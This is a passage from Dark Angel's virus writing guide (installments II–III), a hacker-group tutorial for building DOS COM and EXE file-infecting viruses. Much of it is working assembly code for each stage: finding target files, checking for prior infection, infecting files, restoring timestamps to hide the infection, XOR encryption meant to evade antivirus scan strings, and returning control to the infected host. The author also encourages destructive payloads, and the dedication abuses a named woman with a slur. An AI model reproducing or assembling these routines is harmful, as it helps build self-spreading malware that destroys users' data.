  704.           int     21h
  705.           jnc     found_another
  706.   none_found:
  707.   
  708.   Where file_mask  is DBed  to either '*.EXE',0 or '*.COM',0.  Alternatively,
  709.   you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
  710.   
  711.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  712.   STEP 2 - CHECK VERSUS INFECTION CRITERIA
  713.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  714.   Your virus  should be  judicious in  its infection.  For example, you might
  715.   not want  to  infect  COMMAND.COM,  since  some  programs  (i.e.  the  puny
  716.   FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to
  717.   infect the  first valid file in the directory.  Ambulance Car is an example
  718.   of such  a virus.   Regardless,  if there  is some  infection criteria, you
  719.   should check  for it  now.   Here's example  code checking  if the last two
  720.   letters are 'ND', a simple check for COMMAND.COM:
  721.   
  722.           cmp     word ptr [bp+offset DTA+35], 'DN'  ; Reverse word order
  723.           jz      fail_check
  724.   
  725.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  726.   STEP 3 - CHECK FOR PREVIOUS INFECTION
  727.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  728.   Every virus has certain characteristics with which you can identify whether
  729.   a file  is infected  already.   For example,  a certain  piece of  code may
  730.   always occur  in a  predictable place.   Or  perhaps the JMP instruction is
  731.   always coded  in the  same manner.   Regardless,  you should make sure your
  732.   virus has  a marker  so that  multiple infections  of the  same file do not
  733.   occur.  Here's an example of one such check (for a COM file infector):
  734.   
  735.           mov     ah,3Fh                          ; Read first three
  736.           mov     cx, 3                           ; bytes of the file
  737.           lea     dx, [bp+offset buffer]          ; to the buffer
  738.           int     21h
  739.   
  740.           mov     ax, 4202h                       ; SEEK from EOF
  741.           xor     cx, cx                          ; DX:CX = offset
  742.           xor     dx, dx                          ; Returns filesize
  743.           int     21h                             ; in DX:AX
  744.   
  745.           sub     ax, virus_size + 3
  746.           cmp     word ptr [bp+offset buffer+1], ax
  747.           jnz     infect_it
  748.   
  749.   bomb_out:
  750.           mov     ah, 3Eh                         ; else close the file
  751.           int     21h                             ;  and go find another
  752.   
  753.   In this  example, BX  is assumed to hold a file handle to the program to be
  754.   checked for  infection and virus_size equals the size of the virus.  Buffer
  755.   is assumed  to be  a three-byte  area of  empty space.   This code fragment
  756.   reads the  first three bytes into buffer and then compares the JMP location
  757.   (located in  the word  beginning at  buffer+1) to  the filesize  If the JMP
  758.   points to  virus_size bytes  before the  EOF,  then  the  file  is  already
  759.   infected with  this virus.   Another method would be to search at a certain
  760.   location in the file for a marker byte or word.  For example:
  761.   
  762.           mov     ah, 3Fh                         ; Read the first four
  763.           mov     cx, 4                           ; bytes of the file into
  764.           lea     dx, [bp+offset buffer]          ; the buffer.
  765.           int     21h
  766.   
  767.           cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth
  768.           jz      bomb_out                        ; byte for the marker
  769.   infect_it:
  770.   
  771.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  772.   STEP 4 - INFECT THE FILE
  773.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  774.   This is  the "guts"  of the  virus, the  heart of the replicator.  Once you
  775.   have located  a potential  file, you  must save the attributes, time, date,
  776.   and size for later use.  The following is a breakdown of the DTA:
  777.   
  778.     Offset     Size      What it is
  779.       0h       21 BYTES  Reserved, varies as per DOS version
  780.      15h       BYTE      File attribute
  781.      16h       WORD      File time
  782.      18h       WORD      File date
  783.      1Ah       DWORD     File size
  784.      1Eh       13 BYTES  ASCIIZ filename + extension
  785.   
  786.   As you can see, the DTA holds all the vital information about the file that
  787.   you need.  The following code fragment is a sample of how to save the info:
  788.   
  789.           lea  si, [bp+offset DTA+15h]            ; Start from attributes
  790.           mov  cx, 9                              ; Finish with size
  791.           lea  di, [bp+offset f_attr]             ; Move into your locations
  792.           rep  movsb
  793.   ; Variables needed
  794.   f_attr  db   ?
  795.   f_time  dw   ?
  796.   f_date  dw   ?
  797.   f_size  dd   ?
  798.   
  799.   You can  now change the file attributes to nothing through INT 21h/Function
  800.   43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and
  801.   read only  files.   Only primitive  (or minimal)  virii cannot  handle such
  802.   files.
  803.   
  804.           lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in
  805.           mov  ax, 4301h                          ; DTA
  806.           xor  cx, cx                             ; Clear file attributes
  807.           int  21h                                ; Issue the call
  808.   
  809.   Once the  attributes have  been annihilated,  you may  open the  file  with
  810.   callous impunity.  Use a handle open in read/write mode.
  811.   
  812.           lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA
  813.           mov  ax, 3d02h                          ; Open read/write mode
  814.           int  21h                                ; duh.
  815.           xchg ax, bx                             ; Handle is more useful in
  816.                                                   ; BX
  817.   
  818.   Now we come to the part you've all been waiting for: the infection routine.
  819.   I am  pleased to present code which will handle the infection of COM files.
  820.   Yawn, you  say, I can already do that with the information presented in the
  821.   previous installment.   Ah,  but there  is more,  much more.   A sample EXE
  822.   infector shall also be presented shortly.
  823.   
  824.   The theory  behind COM  file infection was covered in the last installment,
  825.   so I shall not delve into the details again.  Here is a sample infector:
  826.   
  827.   ; Sample COM infector.  Assumes BX holds the file handle
  828.   ; Assume COM file passes infection criteria and not already infected
  829.           mov     ah, 3fh
  830.           lea     dx, [bp+buffer1]
  831.           mov     cx, 3
  832.           int     21h
  833.   
  834.           mov     ax, 4200h                       ; Move file pointer to
  835.           xor     cx, cx                          ; the beginning of the
  836.           xor     dx, dx                          ; file
  837.           int     21h
  838.   
  839.           mov     byte ptr [bp+buffer2], 0e9h      ; JMP
  840.           mov     ax, word ptr [bp+f_size]
  841.           sub     ax, part1_size                   ; Usually 3
  842.           mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  843.   
  844.   ; Encode JMP instruction to replace beginning of the file
  845.           mov     byte ptr [bp+buffer2], 0e9h      ; JMP
  846.           mov     ax, word ptr [bp+f_size]
  847.           sub     ax, part1_size                   ; Usually 3
  848.           mov     word ptr [bp+buffer2+1], ax      ; offset of JMP
  849.   
  850.   ; Write the JMP instruction to the beginning of the file
  851.           mov     ah, 40h                          ; Write CX bytes to
  852.           mov     cx, 3                            ; handle in BX from
  853.           lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
  854.           int     21h
  855.   
  856.           mov     ax, 4202h                        ; Move file pointer to
  857.           xor     cx, cx                           ; end of file
  858.           xor     dx, dx
  859.           int     21h
  860.   
  861.           mov     ah, 40h                          ; Write CX bytes
  862.           mov     cx, endofvirus - startofpart2    ; Effective size of virus
  863.           lea     dx, [bp+startofpart2]            ; Begin write at start
  864.           int     21h
  865.   
  866.   ; Variables
  867.   buffer1 db 3 dup (?)                             ; Saved bytes from the
  868.                                                    ; infected file to restore
  869.                                                    ; later
  870.   buffer2 db 3 dup (?)                             ; Temp buffer
  871.   
  872.   After some  examination, this code will prove to be easy to understand.  It
  873.   starts by reading the first three bytes into a buffer.  Note that you could
  874.   have done  this in  an earlier  step, such  as when  you are checking for a
  875.   previous infection.   If  you have  already done  this, you obviously don't
  876.   need to  do it again.  This buffer must be stored in the virus so it can be
  877.   restored later when the code is executed.
  878.   
  879.   EXE infections  are also  simple, although  a  bit  harder  to  understand.
  880.   First, the thoery.  Here is the format of the EXE header:
  881.   
  882.    Ofs Name                Size      Comments
  883.    00  Signature           2 bytes   always 4Dh 5Ah (MZ)
  884.   *02  Last Page Size      1 word    number of bytes in last page
  885.   *04  File Pages          1 word    number of 512 byte pages
  886.    06  Reloc Items         1 word    number of entries in table
  887.    08  Header Paras        1 word    size of header in 16 byte paras
  888.    0A  MinAlloc            1 word    minimum memory required in paras
  889.    0C  MaxAlloc            1 word    maximum memory wanted in paras
  890.   *0E  PreReloc SS         1 word    offset in paras to stack segment
  891.   *10  Initial SP          1 word    starting SP value
  892.    12  Negative checksum   1 word    currently ignored
  893.   *14  Pre Reloc IP        1 word    execution start address
  894.   *16  Pre Reloc CS        1 word    preadjusted start segment
  895.    18  Reloc table offset  1 word    is offset from start of file)
  896.    1A  Overlay number      1 word    ignored if not overlay
  897.    1C  Reserved/unused     2 words
  898.   * denotes bytes which should be changed by the virus
  899.   
  900.   To understand  this, you  must first  realise that EXE files are structured
  901.   into segments.  These segments may begin and end anywhere.  All you have to
  902.   do to  infect an EXE file is tack on your code to the end.  It will then be
  903.   in its  own segment.  Now all you have to do is make the virus code execute
  904.   before the  program code.   Unlike  COM  infections,  no  program  code  is
  905.   overwritten, although  the header  is modified.   Note  the virus can still
  906.   have the  V1/V2 structure,  but only V2 needs to be concatenated to the end
  907.   of the infected EXE file.
  908.   
  909.   Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded
  910.   up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the
  911.   paragraph displacement  (relative to  the end of the header) of the initial
  912.   stack segment  and Offset 10h holds the displacement (relative to the start
  913.   of the  stack segment)  of the initial stack pointer.  Offset 16h holds the
  914.   paragraph displacement of the entry point relative to the end of the header
  915.   and offset  14h holds the displacement entry point relative to the start of
  916.   the entry  segment.   Offset 14h  and 16h are the key to adding the startup
  917.   code (the virus) to the file.
  918.   
  919.   Before you  infect the  file, you  should save the CS:IP and SS:SP found in
  920.   the EXE  header, as  you need  to restore  them upon  execution.  Note that
  921.   SS:SP is NOT stored in Intel reverse-double-word format.  If you don't know
  922.   what I'm  talking about, don't worry; it's only for very picky people.  You
  923.   should also save the file length as you will need to use that value several
  924.   times during  the infection  routine.   Now it's  time  to  calculate  some
  925.   offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It
  926.   assumes the file size is loaded in DX:AX.
  927.   
  928.           mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs
  929.                ;  ^---make sure you don't destroy the file handle
  930.           mov     cl, 4                          ; Multiply by 16.  Won't
  931.           shl     bx, cl                         ; work with headers > 4096
  932.                                                  ; bytes.  Oh well!
  933.           sub     ax, bx                         ; Subtract header size from
  934.           sbb     dx, 0                          ; file size
  935.     ; Now DX:AX is loaded with file size minus header size
  936.           mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
  937.           div     cx
  938.   
  939.   This code  is rather inefficient.  It would probably be easier to divide by
  940.   16 first  and then perform a straight subtraction from AX, but this happens
  941.   to be  the code  I chose.   Such is life. However, this code does have some
  942.   advantages over  the more  efficient one.   With this, you are certain that
  943.   the IP  (in DX)  will be under 15.  This allows the stack to be in the same
  944.   segment as the entry point, as long as the stack pointer is a large number.
  945.   
  946.   Now AX*16+DX  points to  the end  of code.  If the virus begins immediately
  947.   after the  end of the code, AX and DX can be used as the initial CS and IP,
  948.   respectively.   However, if  the virus  has some junk (code or data) before
  949.   the entry  point, add the entry point displacement to DX (no ADC with AX is
  950.   necessary since DX will always be small).
  951.   
  952.           mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
  953.           mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module
  954.   
  955.   The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The
  956.   actual value  of the SP is irrelevant, as long as it is large enough so the
  957.   stack will  not overwrite code (remember: the stack grows downwards).  As a
  958.   general rule,  make sure the SP is at least 100 bytes larger than the virus
  959.   size.  This should be sufficient to avoid problems.
  960.   
  961.           mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
  962.           mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
  963.   
  964.   All that  is left  to fiddle  in the  header is the file size.  Restore the
  965.   original file  size from  wherever you  saved it  to DX:AX.   To  calculate
  966.   DX:AX/512 and DX:AX MOD 512, use the following code:
  967.   
  968.           mov     cl, 9                           ; Use shifts again for
  969.           ror     dx, cl                          ; division
  970.           push    ax                              ; Need to use AX again
  971.           shr     ax, cl
  972.           adc     dx, ax                          ; pages in dx
  973.           pop     ax
  974.           and     ah, 1                           ; mod 512 in ax
  975.   
  976.           mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
  977.           mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.
  978.   
  979.   All that is left is writing back the EXE header and concatenating the virus
  980.   to the end of the file.  You want code?  You get code.
  981.   
  982.           mov     ah, 3fh                         ; BX holds handle
  983.           mov     cx, 18h                         ; Don't need entire header
  984.           lea     dx, [bp+ExeHead]
  985.           int     21h
  986.   
  987.           call    infectexe
  988.   
  989.           mov     ax, 4200h                       ; Rewind to beginning of
  990.           xor     cx, cx                          ; file
  991.           xor     dx, dx
  992.           int     21h
  993.   
  994.           mov     ah, 40h                         ; Write header back
  995.           mov     cx, 18h
  996.           lea     dx, [bp+ExeHead]
  997.           int     21h
  998.   
  999.           mov     ax, 4202h                       ; Go to end of file
  1000.           xor     cx, cx
  1001.           xor     dx, dx
  1002.           int     21h
  1003.   
  1004.           mov     ah, 40h                         ; Note: Only need to write
  1005.           mov     cx, part2size                   ;       part 2 of the virus
  1006.           lea     dx, [bp+offset part2start]      ;      (Parts of virus
  1007.           int     21h                             ;       defined in first
  1008.                                                   ;       installment of
  1009.                                                   ;       the guide)
  1010.   
  1011.   Note that this code alone is not sufficient to write a COM or EXE infector.
  1012.   Code is also needed to transfer control back to the parent program.  The
  1013.   information needed to do this shall be presented in the next installment.
  1014.   In the meantime, you can try to figure it out on your own; just remember
  1015.   that you must restore all that you changed.
  1016.   
  1017.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1018.   STEP 5 - COVER YOUR TRACKS
  1019.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1020.   This step,  though simple  to do, is too easily neglected.  It is extremely
  1021.   important, as a wary user will be alerted to the presence of a virus by any
  1022.   unnecessary updates  to a  file.   In its  simplest form,  it involves  the
  1023.   restoration of   file  attributes, time  and date.   This  is done with the
  1024.   following:
  1025.   
  1026.           mov     ax, 5701h                      ; Set file time/date
  1027.           mov     dx, word ptr [bp+f_date]       ; DX = date
  1028.           mov     cx, word ptr [bp+f_time]       ; CX = time
  1029.           int     21h
  1030.   
  1031.           mov     ah, 3eh                        ; Handle close file
  1032.           int     21h
  1033.   
  1034.           mov     ax, 4301h                      ; Set attributes
  1035.           lea     dx, [bp+offset DTA + 1Eh]      ; Filename still in DTA
  1036.           xor     ch, ch
  1037.           mov     cl, byte ptr [bp+f_attrib]     ; Attribute in CX
  1038.           int     21h
  1039.   
  1040.   Remember also to restore the directory back to the original one if it
  1041.   changed during the run of the virus.
  1042.   
  1043.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1044.   WHAT'S TO COME
  1045.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1046.   I have been pleased with the tremendous response to the last installment of
  1047.   the guide.   Next  time, I  shall cover  the rest  of the  virus as well as
  1048.   various tips  and common tricks helpful in writing virii.  Until then, make
  1049.   sure you  look for  40Hex, the  official PHALCON/SKISM  magazine, where  we
  1050.   share tips and information pertinent to the virus community.
  1051.  
  1052. -@-BEGIN_FILE_ID.DIZ
  1053. dARK aNGELs cHEWY ViRUS wRiTiNG gUiDE [3-5]
  1054. -@-END_FILE_ID.DIZ
  1055.  
  1056.       //==//  //  //  /||      //      //====  //==//  //|   //
  1057.      //  //  //  //  //||     //      //      //  //  //||  //
  1058.     //==//  //==//  //=||    //      //      //  //  // || //
  1059.    //      //  //  //  ||   //      //      //  //  //  ||//
  1060.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  1061.   
  1062.      /====   // //     //  /====   /|   /|
  1063.     //      // //     //  //      //|  //|
  1064.     ===\   // //     //   ===\   //|| //||
  1065.       //  //  \\    //      //  // ||// ||
  1066.   ====/  //    \\  //   ====/  //  ||/  ||
  1067.   
  1068.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1069.   DISCLAIMER: I hereby claim to have written this
  1070.     file.
  1071.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1072.   DEDICATION: This is dedicated to Patty Hoffman,
  1073.     that fat bitch who doesn't know her own name,
  1074.     and to the millions of dumb fools who were so
  1075.     scared by Michelangelo that they didn't touch
  1076.     their computers for an entire day.
  1077.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1078.   GREETS: to all PHALCON/SKISM members especially
  1079.     Garbageheap, Hellraiser, and Demogorgon.
  1080.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1081.   
  1082.   Dark Angel's Crunchy Virus Writing Guide
  1083.   ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
  1084.        "It's the right thing to do"
  1085.   
  1086.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1087.   INSTALLMENT III:  NONRESIDENT VIRII, PART II
  1088.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1089.   
  1090.   Welcome to  the third  installment of  my Virus  Writing  Guide.    In  the
  1091.   previous installment,  I covered  the primary  part  of  the  virus  -  the
  1092.   replicator.   As promised,  I shall  now cover  the rest of the nonresident
  1093.   virus and  present code  which, when  combined with  code from the previous
  1094.   installment, will  be sufficient  to allow  anyone to write a simple virus.
  1095.   Additionally, I  will present  a few  easy tricks  and tips  which can help
  1096.   optimise your code.
  1097.   
  1098.   ÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1099.   THE CONCEALER
  1100.   ÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1101.   The concealer  is the  most common  defense  virus  writers  use  to  avoid
  1102.   detection of  virii.   The most common encryption/decryption routine by far
  1103.   is the XOR, since it may be used for both encryption and decryption.
  1104.   
  1105.   encrypt_val   dw   ?   ; Should be somewhere in decrypted area
  1106.   
  1107.   decrypt:
  1108.   encrypt:
  1109.        mov dx, word ptr [bp+encrypt_val]
  1110.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  1111.        lea si, [bp+part_to_encrypt_start]
  1112.        mov di, si
  1113.   
  1114.   xor_loop:
  1115.        lodsw
  1116.        xor ax, dx
  1117.        stosw
  1118.        loop xor_loop
  1119.   
  1120.   The previous  routine uses  a simple XOR routine to encrypt or decrypt code
  1121.   in memory.   This  is essentially  the same routine as the one in the first
  1122.   installment, except  it encrypts words rather than bytes.  It therefore has
  1123.   65,535 mutations  as opposed  to 255 and is also twice as fast.  While this
  1124.   routine is  simple to  understand, it  leaves much  to be  desired as it is
  1125.   large and therefore is almost begging to be a scan string.  A better method
  1126.   follows:
  1127.   
  1128.   encrypt_val   dw    ?
  1129.   
  1130.   decrypt:
  1131.   encrypt:
  1132.        mov dx, word ptr [bp+encrypt_val]
  1133.        lea bx, [bp+part_to_encrypt_start]
  1134.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  1135.   
  1136.   xor_loop:
  1137.        xor word ptr [bx], dx
  1138.        add bx, 2
  1139.        loop xor_loop
  1140.   
  1141.   Although this  code is  much shorter,  it is possible to further reduce its
  1142.   size.   The best  method is  to insert the values for the encryption value,
  1143.   BX, and CX, in at infection-time.
  1144.   
  1145.   decrypt:
  1146.   encrypt:
  1147.        mov bx, 0FFFFh
  1148.        mov cx, 0FFFFh
  1149.   
  1150.   xor_loop:
  1151.        xor word ptr [bx], 0FFFFh
  1152.        add bx, 2
  1153.        loop xor_loop
  1154.   
  1155.   All the  values denoted  by 0FFFFh  may be changed upon infection to values
  1156.   appropriate for  the infected  file.  For example, BX should be loaded with
  1157.   the offset  of part_to_encrypt_start  relative to the start of the infected
  1158.   file when the encryption routine is written to the infected file.
  1159.   
  1160.   The primary  advantage of  the code  used above is the minimisation of scan
  1161.   code length.   The scan code can only consist of those portions of the code
  1162.   which remain  constant.   In this  case,  there  are  only  three  or  four
  1163.   consecutive bytes  which remain  constant.   Since  the  entire  encryption
  1164.   consist of only about a dozen bytes, the size of the scan code is extremely
  1165.   tiny.
  1166.   
  1167.   Although the  function of  the encryption  routine is  clear,  perhaps  the
  1168.   initial encryption  value and  calculation of  subsequent values  is not as
  1169.   lucid.  The initial value for most XOR encryptions should be 0.  You should
  1170.   change the  encryption value  during  the  infection  process.    A  random
  1171.   encryption value  is desired.   The  simplest method  of obtaining a random
  1172.   number is  to consult  to internal  clock.   A random  number may be easily
  1173.   obtained with a simple:
  1174.   
  1175.           mov     ah, 2Ch                         ; Get me a random number.
  1176.           int     21h
  1177.           mov     word ptr [bp+encrypt_val], dx   ; Can also use CX
  1178.   
  1179.   Some encryption  functions do not facilitate an initial value of 0.  For an
  1180.   example, take  a look  at Whale.  It uses the value of the previous word as
  1181.   an encryption  value.   In these  cases, simply  use a JMP to skip past the
  1182.   decryption routine  when coding  the virus.   However, make sure infections
  1183.   JMP to  the right location!  For example, this is how you would code such a
  1184.   virus:
  1185.   
  1186.           org     100h
  1187.   
  1188.   start:
  1189.           jmp     past_encryption
  1190.   
  1191.   ; Insert your encryption routine here
  1192.   
  1193.   past_encryption:
  1194.   
  1195.   The encryption  routine is  the ONLY  part of  the virus  which needs to be
  1196.   unencrypted.   Through code-moving  techniques, it  is possible to copy the
  1197.   infection mechanism  to the  heap (memory location past the end of the file
  1198.   and before  the stack).   All  that is required is a few MOVSW instructions
  1199.   and one  JMP.   First the  encryption routine  must  be  copied,  then  the
  1200.   writing, then  the decryption,  then the  RETurn back  to the program.  For
  1201.   example:
  1202.   
  1203.        lea si, [bp+encryption_routine]
  1204.        lea di, [bp+heap]
  1205.        mov cx, encryption_routine_size
  1206.        push si
  1207.        push cx
  1208.        rep movsb
  1209.   
  1210.        lea si, [bp+writing_routine]
  1211.        mov cx, writing_routine_size
  1212.        rep movsb
  1213.   
  1214.        pop cx
  1215.        pop si
  1216.        rep movsb
  1217.   
  1218.        mov al, 0C3h                             ; Tack on a near return
  1219.        stosb
  1220.   
  1221.        call [bp+heap]
  1222.   
  1223.   Although most  virii, for  simplicity's sake, use the same routine for both
  1224.   encryption  and  decryption,  the  above  code  shows  this  is  completely
  1225.   unnecessary.   The only  modification of  the above code for inclusion of a
  1226.   separate decryption  routine is to take out the PUSHes and replace the POPs
  1227.   with the appropriate LEA si and MOV cx.
  1228.   
  1229.   Original encryption  routines, while  interesting, might  not be  the best.
  1230.   Stolen encryption  routines are  the best,  especially  those  stolen  from
  1231.   encrypted shareware  programs!   Sydex is notorious for using encryption in
  1232.   their shareware  programs.   Take a  look at  a  shareware  program's  puny
  1233.   encryption and  feel free  to copy  it into your own.  Hopefully, the anti-
  1234.   viral developers  will create  a scan string which will detect infection by
  1235.   your virus in shareware products simply because the encryption is the same.
  1236.   
  1237.   Note that  this is  not a  full treatment  of concealment routines.  A full
  1238.   text file could be written on encryption/decryption techniques alone.  This
  1239.   is only  the simplest  of all  possible encryption techniques and there are
  1240.   far more  concealment techniques  available.  However, for the beginner, it
  1241.   should suffice.
  1242.   
  1243.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1244.   THE DISPATCHER
  1245.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1246.   The dispatcher  is the  portion of the virus which restores control back to
  1247.   the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,
  1248.   naturally, different.
  1249.   
  1250.   In COM  files, you  must restore  the bytes  which were overwritten by your
  1251.   virus and  then transfer  control back  to CS:100h,  which is where all COM
  1252.   files are initially loaded.
  1253.   
  1254.   RestoreCOM:
  1255.        mov di, 100h                     ; We are copying to the beginning
  1256.        lea si, [bp+savebuffer]          ; We are copying from our buffer
  1257.        push di                          ; Save offset for return (100h)
  1258.        movsw                            ; Mo efficient than mov cx, 3, movsb
  1259.        movsb                            ; Alter to meet your needs
  1260.        retn                             ; A JMP will also work
  1261.   
  1262.   EXE files  require simply  the restoration of the stack segment/pointer and
  1263.   the code segment/instruction pointer.
  1264.   
  1265.   ExeReturn:
  1266.           mov     ax, es                           ; Start at PSP segment
  1267.           add     ax, 10h                          ; Skip the PSP
  1268.           add     word ptr cs:[bp+ExeWhereToJump+2], ax
  1269.           cli
  1270.           add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
  1271.           mov     ss, ax
  1272.           mov     sp, word ptr cs:[bp+StackSave]
  1273.           sti
  1274.           db      0eah                             ; JMP FAR PTR SEG:OFF
  1275.   ExeWhereToJump:
  1276.           dd      0
  1277.   StackSave:
  1278.           dd      0
  1279.   
  1280.   ExeWhereToJump2 dd 0
  1281.   StackSave2      dd 0
  1282.   
  1283.   Upon  infection,   the  initial   CS:IP  and  SS:SP  should  be  stored  in
  1284.   ExeWhereToJump2 and StackSave2, respectively.  They should then be moved to
  1285.   ExeWhereToJump and  StackSave before  restoration of  the  program.    This
  1286.   restoration may be easily accomplished with a series of MOVSW instructions.
  1287.   
  1288.   Some like  to clear all the registers prior to the JMP/RET, i.e. they issue
  1289.   a bunch  of XOR  instructions.   If you  feel happy  and wish to waste code
  1290.   space, you are welcome to do this, but it is unnecessary in most instances.
  1291.   
  1292.   ÄÄÄÄÄÄÄÄ
  1293.   THE BOMB
  1294.   ÄÄÄÄÄÄÄÄ
  1295.   
  1296.     "The horror!  The horror!"
  1297.        - Joseph Conrad, The Heart of Darkness
  1298.   
  1299.   What goes through the mind of a lowly computer user when a virus activates?
  1300.   What terrors  does the unsuspecting victim undergo as the computer suddenly
  1301.   plays a  Nazi tune?  How awful it must be to lose thousands of man-hours of
  1302.   work in an instant!
  1303.   
  1304.   Actually, I  do not  support wanton destruction of data and disks by virii.
  1305.   It serves  no purpose  and usually  shows little imagination.  For example,
  1306.   the world-famous Michelangelo virus did nothing more than overwrite sectors
  1307.   of the  drive with  data taken at random from memory.  How original.  Yawn.
  1308.   Of course,  if you  are hell-bent  on destruction, go ahead and destroy all
  1309.   you want,  but just  remember that this portion of the virus is usually the
  1310.   only part  seen by  "end-users" and distinguishes it from others.  The best
  1311.   examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
  1312.   Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
  1313.   in a plug for the group)!
  1314.   
  1315.   As you  can see,  there's no  code to  speak of in this section.  Since all
  1316.   bombs should be original, there isn't much point of putting in the code for
  1317.   one, now  is there!   Of course, some virii don't contain any bomb to speak
  1318.   of.   Generally speaking,  only those  under about  500 bytes  lack  bombs.
  1319.   There is no advantage of not having a bomb other than size considerations.
  1320.   
  1321.   ÄÄÄÄÄÄÄÄÄ
  1322.   MEA CULPA
  1323.   ÄÄÄÄÄÄÄÄÄ
  1324.   I regret  to inform  you that  the  EXE  infector  presented  in  the  last
  1325.   installment was  not quite  perfect.   I admit  it.   I made  a mistake  of
  1326.   colossal proportions   The  calculation of  the file size and file size mod
  1327.   512 was screwed up.  Here is the corrected version:
  1328.   
  1329.   ; On entry, DX:AX hold the NEW file size
  1330.   
  1331.           push    ax                          ; Save low word of filesize
  1332.           mov     cl, 9                       ; 2^9 = 512
  1333.           shr     ax, cl                      ; / 512
  1334.           ror     dx, cl                      ; / 512 (sort of)
  1335.           stc                                 ; Check EXE header description
  1336.                                               ; for explanation of addition
  1337.           adc     dx, ax                      ; of 1 to the DIV 512 portion
  1338.           pop     ax                          ; Restore low word of filesize
  1339.           and     ah, 1                       ; MOD 512
  1340.   
  1341.   This results  in the file size / 512 + 1 in DX and the file size modulo 512
  1342.   in AX.   The  rest remains  the same.  Test your EXE infection routine with
  1343.   Microsoft's LINK.EXE,  since it  won't run  unless  the  EXE  infection  is
  1344.   perfect.
  1345.   
  1346.   I have  saved you  the trouble  and smacked myself upside the head for this
  1347.   dumb error.
  1348.   
  1349.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1350.   TIPS AND TRICKS
  1351.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1352.   So now  all the  parts of  the nonresident  virus have been covered.  Yet I
  1353.   find myself  left with several more K to fill.  So, I shall present several
  1354.   simple techniques anyone can incorporate into virii to improve efficiency.
  1355.   
  1356.   1.   Use the heap
  1357.        The heap  is the memory area between the end of code and the bottom of
  1358.        the stack.   It can be conveniently treated as a data area by a virus.
  1359.        By moving  variables to the heap, the virus need not keep variables in
  1360.        its code,  thereby reducing  its length.  Note that since the contents
  1361.        heap are  not part  of the  virus, only  temporary variables should be
  1362.        kept there,  i.e. the  infection routine  should not count the heap as
  1363.        part of  the virus as that would defeat the entire purpose of its use.
  1364.        There are two ways of using the heap:
  1365.        
  1366.        ; First method
  1367.        
  1368.        EndOfVirus:
  1369.        Variable1 equ $
